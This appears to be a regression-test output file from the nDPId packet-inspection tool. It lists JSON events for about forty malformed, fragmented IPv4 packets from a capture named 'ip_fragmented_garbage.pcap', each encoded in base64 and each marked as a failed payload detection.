+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129328,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129352,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129434,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129485,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129598,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129625,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129725,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129733,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 